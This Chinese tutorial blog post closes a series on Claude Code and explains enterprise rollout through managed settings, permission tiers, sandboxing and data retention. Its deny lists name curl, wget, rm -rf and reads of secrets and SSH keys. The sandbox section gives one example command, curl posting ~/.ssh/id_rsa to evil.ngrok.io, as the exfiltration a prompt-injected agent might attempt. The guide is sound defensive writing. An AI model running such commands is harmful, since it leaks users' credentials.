企业级落地：安全、合规与零信任

系列终章：把Claude Code从一个"个人工具"升级为"团队基础设施"

阅读时长约15分钟 | 教程型 | 智能编码进化论 10/10

---

导读

前九篇，你是一个人在战斗。你学会了给AI写岗位说明书、配工具箱、接外线、招帮手、定规矩、建项目组，甚至还做了一份自评清单看看自己到了哪个阶段。

但当你把Claude Code推荐给团队时，问题就变了。

"代码会发给Anthropic吗？安全合规怎么保证？" "新人上来就能绕过所有权限，怎么管？" "怎么确保每个人都用同一套配置？"

这些问题不是技术问题，是治理问题。本篇回答的就是：怎么把Claude Code从一个个人工具，升级为团队基础设施。

核心思路只有一句话：用Managed Settings做门禁，用沙箱做保险，用Plugin做分发。

---

一、从单兵到团队：共享配置体系

你已经有了一套配置

九篇文章下来，你的 .claude/ 目录大概长这样：

.claude/
├── settings.json          # 权限规则
├── settings.local.json    # 本地覆盖
├── rules/                 # 编码规范
├── skills/                # 自定义技能
├── agents/                # 自定义Agent
└── hooks/                 # 自动化钩子

这套配置是你的"作战手册"。问题是：怎么让团队每个人都用同一套？

方案1：Git提交 .claude/settings.json

最简单的方式——把项目级 settings.json 和 rules/ 提交到Git仓库。

// .claude/settings.json —— 提交到Git，全团队共享
{
  "permissions": {
    "allow": [
      "Bash(npm *)",
      "Bash(git *)",
      "Bash(npx *)"
    ],
    "deny": [
      "Bash(rm -rf *)",
      "Read(./.env)",
      "Read(./.env.*)"
    ]
  }
}

团队成员clone仓库后，这些规则自动生效。

但Git提交只能解决"共享"，解决不了"管控"——任何人改一下文件就能绕过规则。

方案2：Plugin打包分发

当你希望Skills、Agents、Hooks跨项目复用，用Plugin。

my-team-plugin/
├── .claude-plugin/
│   └── plugin.json       # { "name": "team-standards", "version": "1.0.0" }
├── skills/
│   └── code-review/
│       └── SKILL.md       # 团队统一的代码审查标准
├── agents/
│   └── security-checker/  # 团队安全审查Agent
│       └── AGENT.md
└── hooks/
    └── hooks.json         # 统一的PreToolUse钩子

团队成员安装：/plugin install team-standards

Plugin解决了"分发"，但和Git提交一样——用户可以随时卸载。

方案3：Managed Settings强制管控（本篇重点）

如果你需要不可绕过的强制策略，用Managed Settings。

三种机制对应三种场景：

方式	共享范围	可否绕过	适用场景
Git提交 settings.json	单项目	可覆盖	项目级约定
Plugin	跨项目	可卸载	团队工具包
Managed Settings	全组织	不可绕过	安全合规红线

---

二、门禁系统：Managed Settings企业管控

它是怎么工作的

管理员在 Claude.ai 后台配置策略 → 开发者的Claude Code启动时自动拉取 → 策略生效，用户不可覆盖。

管理员控制台 ──→ Anthropic服务器 ──→ 开发者终端
   (配置策略)      (存储+分发)       (自动拉取+执行)

开发者终端每小时轮询一次更新，策略变更自动生效，不需要重启。

你能管什么

一个完整的Managed Settings配置示例：

{
  "permissions": {
    "deny": [
      "Bash(curl *)",
      "Bash(wget *)",
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(./secrets/**)",
      "Bash(rm -rf *)"
    ],
    "allow": [
      "Bash(npm *)",
      "Bash(git *)",
      "Bash(npx *)"
    ],
    "disableBypassPermissionsMode": "disable",
    "disableAutoMode": "disable"
  },
  "allowManagedPermissionRulesOnly": true,
  "allowManagedHooksOnly": true,
  "sandbox": {
    "enabled": true,
    "network": {
      "allowedDomains": [
        "github.com",
        "registry.npmjs.org",
        "api.anthropic.com"
      ]
    },
    "filesystem": {
      "denyRead": ["~/", "/etc/"],
      "allowRead": ["."]
    }
  },
  "strictKnownMarketplaces": []
}

逐条解释这些配置在管什么：

permissions.deny：红线。curl、wget 全部封掉——防止通过Bash外发数据。.env 和 secrets/ 不可读——防止AI读到密钥。

disableBypassPermissionsMode: "disable"：封掉 --dangerously-skip-permissions 参数。不设这个，开发者加个参数就能跳过所有权限检查。

disableAutoMode: "disable"：禁用Auto模式。Auto模式跳过人工审批，在企业场景下通常不可接受。

allowManagedPermissionRulesOnly: true：只认Managed Settings的权限规则。开发者在项目级 settings.json 里写的 allow/deny 全部无效。

allowManagedHooksOnly: true：只认Managed Settings的Hook。开发者自己写的Hook不加载。

sandbox.enabled: true：强制开启沙箱。下一节细讲。

sandbox.filesystem：禁止读家目录和系统配置，只允许读项目目录。这个限制比权限规则更底层——在OS级别执行，连子进程也逃不掉。

strictKnownMarketplaces: []：完全封锁Plugin安装源。空数组表示只能用已安装的Plugin，不能从任何源安装新的。设为 undefined 则不限制。

策略怎么下发

四种机制，从高到低优先级：

机制	优先级	适用场景
Server-managed（Claude.ai控制台）	最高	有Teams/Enterprise订阅，无需MDM
macOS plist / Windows HKLM	高	有MDM，可防用户篡改
File-based managed	中	无MDM但有部署脚本
Windows HKCU	最低	仅作为默认值，不可靠

如果你的团队有MDM（如Jamf、Intune），优先用 plist/HKLM——OS级别的策略文件用户改不了。

没有MDM也没有Enterprise订阅？用 File-based managed——将 managed-mcp.json 和 managed-settings.json 部署到开发者的系统目录（macOS: /Library/Application Support/ClaudeCode/，Linux: /etc/claude-code/），配合部署脚本推送。这是最轻量的强制管控方案。

没有MDM就用Server-managed——在 Claude.ai 管理后台配置，开发者终端自动拉取。但需要注意：Server-managed是客户端策略，有sudo权限的用户理论上可以修改二进制或网络配置绕过。它不是银弹，但已经足够应对绝大多数场景。

一个关键的配置：forceRemoteSettingsRefresh

{
  "forceRemoteSettingsRefresh": true
}

默认行为：启动时异步拉取策略，拉取失败就无策略运行。加上这个配置后：启动时阻塞等待策略拉取，拉取失败直接退出。

这是fail-closed模式——宁可不让用，也不能裸奔。

---

三、零信任：权限分级与沙箱隔离

先说清楚"零信任"在这里是什么意思

这不是网络安全里的"零信任架构"（Zero Trust Architecture, ZTA）。那个是网络访问控制领域的专用术语，指"不信任任何网络边界、每次访问都验证"。

本文的"零信任"，指的是对AI Agent操作的持续验证、绝不盲信的权限控制原则：

• AI说要改文件？验证一下。
• AI说要联网？确认一下。
• AI说要执行命令？检查一下。
• 上次允许过不代表这次也允许。

核心逻辑：不因为AI"上次做对了"就信任它这次的操作。

权限分级：什么人能干什么

把团队分成四个角色，每个角色对应不同的权限级别：

权限级别从高到低：

管理员（Admin）
  │  配置Managed Settings、查看审计日志、管理Plugin市场
  │
TL/架构师（Lead）
  │  审批高风险操作、配置项目级安全策略、审查Hook
  │
高级开发者（Senior）
  │  Bash命令执行、MCP连接、Subagent调用
  │
初级开发者（Junior）
   文件读写、Git基本操作、只读Bash命令

对应到Claude Code的配置：

// 初级开发者：最严格
{
  "permissions": {
    "allow": [
      "Bash(git status *)",
      "Bash(git diff *)",
      "Bash(npm test *)",
      "Bash(npm run dev *)"
    ],
    "deny": [
      "Bash(curl *)",
      "Bash(wget *)",
      "Bash(rm *)",
      "Bash(git push *)",
      "WebFetch",
      "mcp__*"
    ]
  }
}

// 高级开发者：适度放宽
{
  "permissions": {
    "deny": [
      "Bash(rm -rf *)",
      "Read(./.env*)",
      "Read(./secrets/**)"
    ]
  }
}

权限分级的本质：不是不信任人，而是建立纵深防御。即便某个开发者的终端被攻破，攻击者也拿不到高级权限。

沙箱：最后一道防线

权限规则是"告诉AI什么能做、什么不能做"。沙箱是"不管AI怎么想，到了OS层面就给你拦住"。

两者的区别：

维度	权限规则	沙箱
作用层	应用层	OS层
生效对象	Claude Code工具调用	Bash命令及其所有子进程
能否被AI绕过	不直接（AI不执行规则，规则由Claude Code框架执行）	不能（OS强制）
典型场景	"别读.env"	"curl攻击者服务器"被OS拦截

沙箱防的不是正常使用，防的是意外——比如AI被prompt injection诱导去外发数据，或者AI误操作删了系统文件。

{
  "sandbox": {
    "enabled": true,
    "network": {
      "allowedDomains": [
        "github.com",
        "registry.npmjs.org",
        "api.anthropic.com"
      ],
      "deniedDomains": [
        "*.ngrok.io",
        "*.serveo.net"
      ]
    },
    "filesystem": {
      "denyWrite": ["~/.ssh", "~/.aws", "~/.config"],
      "denyRead": ["~/.ssh", "~/.aws"]
    }
  }
}

这个配置的效果：哪怕AI被诱导执行 curl -X POST https://evil.ngrok.io -d @~/.ssh/id_rsa，沙箱在OS层就会拦截——网络请求到不了ngrok，SSH密钥也读不到。

沙箱的OS级实现：

• macOS: Seatbelt
• Linux: bubblewrap
• WSL2: bubblewrap

macOS开箱即用。Linux需要 apt-get install bubblewrap socat。

零数据留存（ZDR）

如果你的企业对数据出境有严格要求，ZDR是必选项。

普通模式：Anthropic会短暂保留prompt和响应用于服务提供和滥用监测。训练数据不使用用户内容。

ZDR模式（需Claude for Enterprise）：prompt和响应在处理后不存储。部分功能自动禁用：

禁用的功能	原因
Claude Code on the Web	需要服务端存储会话历史
Remote Control	需要持久会话数据
/feedback	提交反馈会发送会话数据

ZDR需要联系Anthropic销售开通，按组织启用。注意：ZDR覆盖模型推理调用，但不覆盖claude.ai的聊天、Analytics的元数据（账户邮箱、用量统计）等。

---

四、企业落地路线图

阶段1：试点（1-2周，1个TL + 3-5个试点开发者）

目标：验证Claude Code在你们的代码库上确实有用。

配置重点：

• 项目级 .claude/settings.json 做基础权限
• 不强制Managed Settings
• 收集反馈：什么场景好用？什么场景出错？

检查点：

• 开发者每天用Claude Code的时间 > 1小时？
• 代码产出质量是否不低于手写？
• 有没有遇到权限配置的痛点？

阶段2：规范（2-4周，TL + 试点成员 + 可选：DevOps支持）

目标：制定团队级的CLAUDE.md、Skills、Hooks，打包成Plugin。

配置重点：

• 统一团队 CLAUDE.md（编码规范、项目架构、常见约定）
• 创建团队 Skills（部署、代码审查、测试生成）
• 配置 PreToolUse Hooks（提交前跑lint、推送前跑测试）
• 打包为Plugin，内部分发

检查点：

• Plugin已安装到所有试点成员终端？
• Hook触发率和成功率 > 90%？

阶段3：管控（1-2周，TL + 安全/合规审核人）

目标：上线Managed Settings，锁定安全红线。

配置重点：

• 禁用 --dangerously-skip-permissions
• 封掉 curl、wget、rm -rf 等高风险命令
• 强制开启沙箱
• 配置网络白名单
• 限制Plugin来源

检查点：

• /status 显示 Enterprise managed settings (remote) ？
• 开发者尝试绕过权限时被正确拦截？

阶段4：推广（持续，TL + 全团队 + 定期审计）

目标：全团队推广，建立持续优化机制。

配置重点：

• 新成员入职自动获得Plugin和Managed Settings
• 建立Plugin更新流程（版本号、发布日志）
• 定期审计权限规则，移除不再需要的例外
• 配置OpenTelemetry监控用量

一图总结

试点 ──→ 规范 ──→ 管控 ──→ 推广
 3-5人     团队级     安全红线    全员
 试试看     统一配置   上强制策略   持续优化

---

避坑指南

坑1：一上来就锁死

很多TL第一步就把所有权限封掉——curl禁用、WebFetch禁用、MCP禁用。结果是AI基本没法工作，开发者觉得"这工具废了"。

正确做法：先宽松跑通，再逐步收紧。阶段1试点时不设Managed Settings，阶段3再上红线。

坑2：忘了白名单比黑名单重要

deny 列表写了一大堆，但 allow 列表没跟上。开发者每次执行正常命令都要手动审批——审批疲劳比没权限更危险。

先写 allow（允许什么），再用 deny 排除高风险项。

坑3：沙箱网络白名单太窄

只加了 github.com，忘了 registry.npmjs.org。结果 npm install 在沙箱里失败，开发者被迫关沙箱——安全措施反而制造了绕过动机。

白名单应该覆盖日常开发需要的所有域名：代码托管、包注册、API服务、内部服务。

坑4：Plugin没做版本管理

Plugin改了不更新版本号，团队成员不知道有更新。或者更新后不兼容旧版本，开发者突然不能用。

Plugin必须有版本号和发布日志。重要变更要提前通知。

坑5：Managed Settings配了但没验证

配完策略就没管了。三个月后发现新入职的开发者根本没拉取到策略——因为他用的认证方式不对。

配完策略后，让一个开发者执行 /status，确认显示 Enterprise managed settings。

---

系列回顾

十篇文章，一条完整的进化路径：

01  认识Coding Agent → 理解"理解→执行→验证"循环
02  写CLAUDE.md     → 让AI知道你的项目长什么样
03  结构化任务输入   → 像带实习生一样带AI
04  配Skills工具箱  → 给AI装上专用工具
05  接MCP外线       → 让AI能跟外部系统对话
06  招Subagent帮手  → 让AI自己分工协作
07  定Hooks规矩     → 用自动化钩子守住底线
08  建Agent项目组   → 多会话并行、CI/CD集成
09  编码成熟度自评   → 知道自己在哪、下一步去哪
10  企业级落地       → 从个人工具升级为团队基础设施

如果把整个系列浓缩成三句话：

1. AI不是搜索引擎，是一个能理解、执行、验证的编码助手。（→ 第1-2篇）
2. 带AI不是写提示词，是建体系——文档、工具、规则、流程。（→ 第3-6篇）
3. 从个人到团队的关键一步，不是技术，是治理。（→ 第7-10篇）

---

结语

系列写到这里，我想起一个场景。

几个月前，可能你也一样——只会用Cursor补全代码。第一次打开Claude Code时，连CLAUDE.md是什么都不知道。

现在回头看，变化不只是"效率提升了"——是和AI协作的方式彻底变了。从"我问AI，AI回答"，变成了"我定规则，AI执行"。从"工具"变成了"团队"。

十篇文章写完，但这条路没有终点。Claude Code每个月都在更新，新的功能、新的模式、新的可能性。真正成熟的使用者，不是掌握了所有功能的人，而是建立了一套能持续进化的体系的人。

这个系列是我的体系，希望它也能帮你建立自己的体系。

---

下一篇：没有了。这是系列终章。

但你可以回头重读任何一篇，因为现在的你已经不是当初读到那一篇时的你了——同样的内容，不同的阶段，会读出不同的东西。

---

智能编码进化论 · 全十篇 · 完

---

互动话题

你们团队在落地AI编码工具时遇到的最大阻碍是什么？安全合规？开发者抵触？还是不知道从哪里开始？

欢迎留言分享你的故事。

---

参考资料

• Claude Code Security
• Claude Code Zero Data Retention
• Claude Code Server-Managed Settings
• Claude Code Permissions
• Claude Code Sandboxing
• Claude Code Admin Setup
• Claude Code Plugins

---

本文内容仅供学习交流，所述配置方案需结合实际团队情况调整。安全策略的制定应基于专业安全评估，不可直接照搬示例配置。

本文由AI辅助创作，经人工审核编辑后发布。